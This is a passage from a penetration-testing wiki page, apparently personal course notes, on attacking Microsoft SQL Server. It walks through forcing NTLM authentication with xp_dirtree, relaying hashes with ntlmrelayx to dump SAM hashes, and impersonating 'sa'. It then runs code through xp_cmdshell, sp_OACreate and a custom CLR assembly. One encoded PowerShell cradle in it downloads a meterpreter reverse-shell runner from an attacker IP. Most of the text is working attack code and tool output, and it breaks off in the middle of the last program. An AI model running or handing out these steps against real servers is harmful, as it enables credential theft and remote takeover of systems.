            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
